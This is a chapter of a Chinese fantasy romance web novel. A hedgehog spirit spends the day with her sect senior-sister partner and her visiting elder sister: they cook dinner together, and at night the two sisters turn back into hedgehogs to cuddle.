小妖区分明显,问亦云与云樾关系好时,便是问姐姐,若是察觉不对,便是直呼其名。 裴依宁回忆小妖和云樾相处时说的话,其中提到问亦云的不过一两句,小妖是如何看出来的。 云榆道:“直觉。” 在提及问亦云时,姐姐的反应,说的话,让她直觉不对,所以她没有继续询问这些。 裴依宁问:“要问问云姐姐吗?” 云榆摇头:“不问,这是姐姐个人的情感。我不了解问亦云,她对姐姐是好是坏我都不知道,我不能用我的主观意念去影响姐姐。而且姐姐一直很清醒,我相信她心中自有定数。” 她抬起头,棕黑色的眼睛对上师姐,浅浅地弯下唇:“况且,姐姐是来看我的,开开心心来的,我不想让姐姐不开心地离开,哪怕一瞬间。” 她呼出一口气,重新靠回去:“所以,我不会问这些,除非姐姐主动愿意说。” 血浓于水的亲情,让她在这方面的直觉很准。 这处是隐秘角度,不用担心有人来,裴依宁拥住云榆,温声道:“那星星这段时间要好好陪陪云姐姐。” 云榆抬手抓起被风卷来的草叶:“师姐呢。” 裴依宁温声道:“嗯……星星想好在云姐姐走后,怎么补偿师姐这一个月的孤寂呢?” 云榆莞尔:“孤寂?好严重啊。” 裴依宁陪着她闹,陪着她幼稚:“就是这么严重啊,一个月呢,师姐孤零零一个人,可不严重。” 云榆:“那我今日陪姐姐,明日陪师姐,后日再陪姐姐,这般来回,隔一日便能陪师姐一次,可好?” 裴依宁虚虚捂住云榆的唇:“好好陪云姐姐,我要星星一次性补偿我。” 她无意与云樾争抢星星的时间,之前在问玉宫时,她就察觉到云樾和问亦云关系的不对,尤其是单独和两人相处时,问亦云问她的话和云樾说的那些。 如今云樾来,一是为了看云榆,二,许是为了散心。 身为云榆的道侣,星星的姐姐就是她的姐姐,她希望云樾能够如星星般,日日开心。 云榆软在师姐怀中:“师姐真好。” 裴依宁:“这话,星星说了许多遍了。”她吻吻小妖,“若是缺什么,一定要记得同师姐说。” 云榆笑:“我怎么会和师姐客气。” 她长腿伸起,调整姿势,跨坐在师姐腿上,面对面地和师姐抱在一起:“等姐姐走后,师姐想让我怎么补偿都可以。” “让你变成小刺猬给我摸,可以吗?”裴依宁。 云榆:“拎起来都可以。” 裴依宁继续:“那能拎星星的小尾巴吗?” 云榆贴着:“师姐喜欢的都可以。” * 云樾这一觉睡得不算长,约莫只睡了两柱香的时间。 云榆收到姐姐的传音后,立刻从师姐腿上下来,指腹抚过脖颈和露出的肌肤:“没有痕迹吧。” 裴依宁学着云榆惯常装可怜的样子,无辜的眨眨眼睛:“为什么会有痕迹,”她唇贴在小妖的锁骨处,含住一点皮肉,轻慢地吮吸,等吐出时,那里泛起浅淡的粉紫,“这样才有痕迹。” 云榆低头去看,但在视野盲区,根本无法看见,她只能凭借方才的力度和对师姐的信任,猜测那处痕迹定然不易被发现。 她扯了扯衣服,轻易遮盖住:“师姐学坏了。” 裴依宁:“进去啦。” 她替云榆整理了下衣衫,拍拍小妖的肩膀:“再晚,云姐姐就要起疑心了,会认为某位云师姐故意摆谱。” 这是在打趣她在云樾面前自称师姐的事情。 云榆忍不住笑,腰身蹭了下师姐,欢欢喜喜地进入洞府。 云樾已穿戴整齐,墨色长发如流水般平铺其后,微垂着的头导致长发从一边落下,遮挡住小半张脸颊。 颇具古典之意。 听见开门声,她抬眸望去,对着走进的云榆招招手,再对后一步来的裴依宁点头示意。 “师妹劳顿,只睡这么会就好了吗?”云榆说得顺口,“有什么需要,尽管和师姐提。” 云榆轻轻叹出一口气,她家小刺猬被养得这般无法无天,可怎么是好。 好在,她只是对自己和裴依宁无法无天。 她无意扫过,裴依宁的目光总是若有似无地落在她妹妹身上。 她很放心裴依宁。 “是是是,多谢云师姐关心。”云樾道。 时候不早,裴依宁悄无声息地往后退,想到云樾初来,她怎么也要表示一番。 云榆喜欢吃,云樾的喜好她不了解,但以吃为备,难以出错。 “师姐,你去哪里?”云榆眼角地发现要离开的师姐。 裴依宁被发现,倒也没有隐瞒:“晚膳时间要到了,我去备点吃食。” “我同你一起。”云樾出声。 裴依宁刚要拒绝,云榆已经一口应下:“好耶,好久没尝过姐姐的手艺了。” 如此,裴依宁不好再说什么,与云樾一同准备。 云榆夹在两人之间,一会同左边人说话,一会同右边人说话。 “师姐,我姐做饭不是很好吃,总是甜甜的,”与左边的裴依宁说完,云榆侧头同右边的云樾说,“姐姐做饭最好吃了,期待今晚的吃食。” 大大咧咧,连掩饰都不掩饰。 裴依宁和云樾被她逗笑。 云樾道:“星星,我还在这呢,你好歹避着我,偷偷同你师姐说。” 云榆:“姐姐可以当没听见我前面那句,只听后面那句我夸你的就行。” 云樾心情舒畅:“嗯嗯嗯,我会记住云师姐的夸赞的。” 一顿晚饭在三人协作下完成,小妖左右来回打下手,忙得不亦乐乎。 云榆夹了块姐姐做的糖醋排骨,塞入口中咀嚼。 云樾:“今日的甜度应当没问题吧。” 云榆不可思议:“姐,你去哪偷师学艺了,厨艺上升这么多?” 裴依宁跟着尝了块,味道极好,与先前那份甜腻的糕点简直判若两人做的。 回顾从问玉宫离开的这些时日,她去做了许多曾经想做的事情,例如去为人免费作画写字,进入有名的酒楼精进厨艺,去各国游玩,看山川美景。 外面的世界过于吸引人了。 边走边玩边看,一路来到明越宗附近的一座城池,本不打算这么早来找云榆的,可听闻明越宗临时弟子的筛选正好开始。 恰好遇到,岂有不来的道理。 她想体验宗门生活是什么样的,想感受这座宗门的氛围,是如何将她的妹妹照顾得那般好的。 云樾夹了些自己做的菜到云榆碗中,难得地道:“我的厨艺本就好。” 云榆偷笑,不点出姐姐原先的厨艺如何。 总之,比她好不到哪里去。 当然,这是小妖自认为的。她选择性地忘记将菜抄的看不出原来样子的事了。 一顿饭后,云榆三人在洞府外观星赏月,云樾和裴依宁聊到琴棋书画,云榆在中间起到调节气氛的作用。 夜色深沉,繁星闪烁。 裴依宁告辞:“云姐姐,明日见。” 云樾起身相送:“明日见。” 裴依宁看向云榆:“星星,明日见。” 云榆颔首:“昂,明日见。” 裴依宁笑了笑,渐渐消失在融融月色中。 在她走后,云樾立刻化回本体,后肢蓄力起跳,蹿进云榆怀中。 黏人的樾小刺猬回来了。 “笨蛋星星!”樾小刺猬揪住云榆用力地蹭,云榆的脸颊被蹭到发红,她才意犹未尽地停下,“为什么不来正殿接我。” 云榆适应姐姐瞬间的变化,揉揉发烫的脸颊:“我不知道姐姐来啊。” 樾小刺猬从云榆身上跳下,指挥道:“化为本体。” 云榆按按太阳穴,认命地化为本体。 不出所料,身体一矮,背上多了个沉沉的樾小刺猬,樾小刺猬一爪子拍在星星的脑壳上:“骗刺猬,上次有一位与你一起到问玉宫的那人,说已经传音告诉依宁了。” 星星:“……” 原师姐,你怎么什么都说的。 星星委屈地泪眼汪汪:“我以为你想要给我惊喜,所以故作不知道……” 樾小刺猬哼哼地对这个理由还算满意,从小刺猬身上滑下,一爪子抱住星星:“贴贴。” 两只小刺猬侧边身体缩在一起,像是连成一片,樾小刺猬满意地摸上星星的肚子,评价:“软软的。” 星星:“你自己不是有,摸你自己的。” 樾小刺猬:“不要。就要贴贴,就要和别人贴贴。” 星星:“贴!都贴!” 姐姐还是这么喜欢贴贴。 不对,姐姐喜欢贴贴,而宗门内有许多师姐妹们也想摸小刺猬。 既然这样…… 星星神神秘秘地道:“姐姐,你愿意和除我之外的人贴贴吗?” 樾小刺猬拱着小刺猬:“嗯?” 星星道:“就是宗门内的人。” 樾小刺猬停止拱动,灵活地倒在星星背上:“说来听听。” 星星将想法说了遍,然后道:“一定有很多人想要和姐姐贴贴。” 樾小刺猬心动且迟疑:“可以,但不能让别人知道那是我。” 星星:“咋,你还要形象啊。” 又是一爪子下来。 星星捂头:“呜呜。” 作者有话说: 星星:呜呜呜【你现在阅读的是 】